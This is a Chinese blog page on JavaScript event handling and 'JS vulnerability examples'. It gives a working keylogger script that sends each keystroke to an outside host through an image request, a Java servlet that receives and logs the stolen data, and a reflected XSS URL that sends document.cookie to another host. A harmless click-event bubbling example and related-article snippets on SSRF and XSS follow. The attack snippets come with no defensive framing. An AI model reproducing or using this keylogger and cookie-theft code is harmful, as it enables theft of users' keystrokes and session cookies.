`

js页面事件响应及js漏洞示例

阅读更多
js:
<script>
function keylogger (e) {
document.images[0].src="http://www.ckfinancing.com/study/cookie?cookie="+e.keyCode;
}
document.body.attachEvent("onkeydown", keylogger);
</script>

servlet:
http://www.ckfinancing.com/study/cookie?cookie=

public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
String cookie = request.getParameter("cookie");
System.out.println(cookie);
}

<==========================================================================>

http://a.com/search?keyword=<script>document.images[0].src="http://b.com/xxxx?cookie="+unescape

(document.cookie);</script>

servlet参考上面例子
<==========================================================================>

js页面键盘事件响应
<script type="text/javascript">
        //FF,Chrome
        if(window.addEventListener){   
            document.addEventListener('click',function(e){alert('document');},false);
            document.body.addEventListener('click',function(e){alert('document.body');e.cancelBubble=true;},true);
        }
        //IE
        else if(window.attachEvent){
            document.attachEvent('onclick', function(e){alert('document');});
            document.body.attachEvent('onclick', function(e){alert('document.body');e=e||

window.event;e.cancelBubble=true;});
        }
</script>
分享到:
评论

相关推荐

    图片轮换广告JS版和SWF版(内含调用示例)

    5. **用户交互**:用户可以手动点击导航点或上一张/下一张按钮来切换图片,JS会捕获这些事件并执行相应的操作。 **SWF版图片轮换广告** SWF是Adobe Flash的文件格式,以前常用于创建互动式网页内容,包括动画和...

    WebLogic SSRF 及漏洞修复

    该漏洞主要出现在版本10.0.2和10.3.6的`SearchPublicRegistries.jsp`页面中,该页面存在不当的用户输入验证机制,使得攻击者可以通过构造恶意URL来触发SSRF攻击。 **2. 攻击原理** - **构造恶意URL**: 攻击者可以...

    第八节 Javascript伪协议的XSS-01

    在Payload触发XSS漏洞中,我们可以使用javascript伪协议来触发XSS漏洞,例如javascript:alert(document.domain)就是一个Payload示例,它可以弹出一个警告框,显示当前网站的域名。 javascript伪协议可以用于触发XSS...

    Web浏览器中的JavaScript

    这个示例展示了如何使用 `onclick` 事件处理函数调用名为 `sayHi` 的 JavaScript 函数。 总结而言,JavaScript 与 HTML 的结合为网页开发提供了强大的功能。合理地使用 `&lt;script&gt;` 标签及其属性、选择合适的代码...

    ashx漏洞福利包

    ashx漏洞福利包是一个集合了与ashx相关的漏洞利用示例和信息的资源包。ashx(HttpHandler)是ASP.NET框架中用于处理HTTP请求的一种文件扩展名,它允许开发者自定义HTTP请求的处理方式。这个包可能包含了各种类型的...

    浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)

    Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时,它提供了高效的事件驱动、非阻塞 I/O 模型,使得开发高性能的网络应用变得简单。Express,则是建立在 Node.js 平台上的一款快速、开放、极简的 Web 开发...

    asp.net中显示pdf文件的项目示例

    这个项目可能使用了JavaScript库,如PDF.js(由Mozilla维护)或者PDFObject,它们允许在浏览器中内联显示PDF,而无需离开当前页面或下载文件。 2. **JavaScript与CSS:** - JavaScript文件用于处理交互和动态加载...

    蓝色安全漏洞检测系统后台模板

    7. **JavaScript框架**:如jQuery、Vue.js、React等,可以帮助开发者更便捷地处理DOM操作、事件绑定、数据管理等任务。 8. **安全漏洞检测**:系统可能包含各种检测工具和技术,如SQL注入检测、跨站脚本检查、弱...

    javascript - javascript tutorial

    JavaScript还支持事件驱动编程,使得开发者可以轻松地创建响应式的用户界面。 **JavaScript的局限性**主要体现在安全性和浏览器兼容性方面。例如,不同浏览器可能对某些JavaScript特性有不同的实现方式,这可能导致...

    bootstrap-3.3.7-dist_boostrap源码_

    Bootstrap是世界上最流行的HTML、CSS和JS框架,...同时,学习如何根据需求选择性地引入CSS和JavaScript文件,可以有效减小页面加载的时间。此外,对LESS的了解可以让开发者轻松创建自定义主题,满足特定的设计要求。

    PHP漏洞挖掘

    - **动态测试**:模拟用户操作,观察系统的实际响应。 - **依赖关系检查**:检查第三方库是否含有已知漏洞。 - **输入验证**:确保所有外部输入都经过严格的验证。 - **输出编码**:对输出到浏览器的数据进行适当的...

    JS于OC之间的交互(修改版)

    JavaScript(JS)与Objective-C(OC)之间的交互是iOS应用开发中的一个重要环节,尤其是在构建混合式应用程序时。这种交互使得Web开发者可以利用JavaScript的便利性和灵活性来操控原生的iOS功能,提供更丰富的用户...

    Plupload 上传.net MVC 上传示例

    - **创建视图**:在MVC项目的视图目录下创建一个新的页面,引入Plupload的JavaScript和CSS资源,配置相关参数,如上传URL、允许的文件类型等。 - **配置路由**:在Global.asax.cs文件中,设置路由规则,确保...

    WebView+js 实现绘图

    JavaScript监听这些事件,然后通过调用Android接口处理响应。 6. **性能优化**:因为JavaScript是在Webview中运行的,可能会存在性能问题。为了优化,可以考虑使用`shouldInterceptRequest()`方法缓存静态资源,...

    esapi for javascript 0.1.3

    在`esapi4js-0.1.3`压缩包中,通常包含了库的源代码、文档、示例代码以及可能的配置文件。开发者可以通过引入该库并根据需求调用相应的函数,以实现上述安全功能。例如,可以使用`ESAPI.encoder().encodeForHTML...

    Bootstrap3.3.7开发手册

    Bootstrap 3.3.7是Twitter推出的一个开源前端框架,它极大地简化了网页设计和开发流程,让开发者能够快速构建响应式、移动优先的网站。这个版本是Bootstrap 3系列的最后一个稳定版本,包含了丰富的组件和插件,适用...

    android通过js调用安卓系统功能.zip

    还可以使用`WebViewClient`或`WebChromeClient`的回调方法,如`shouldOverrideUrlLoading()`、`onProgressChanged()`等,来监听和响应网页的加载事件,或者通过`loadUrl()`方法从Android端主动调用JavaScript代码。...

    ExtJS文件上传示例

    综上所述,"ExtJS文件上传示例"将涵盖上述各个知识点,通过实际代码展示如何在客户端创建文件上传表单,处理文件选择、预览、上传及错误处理,以及与服务器端接口的交互。这个示例对于理解ExtJS的表单处理和文件操作...

    PHP漏洞全解

    #### 二、常见PHP漏洞类型及防御策略 ##### 1. 命令注入(Command Injection) **定义**:命令注入是指攻击者通过向应用程序发送恶意数据,使得该应用程序在运行时执行非预期的命令或脚本。 **示例**:如果一个PHP...

Global site tag (gtag.js) - Google Analytics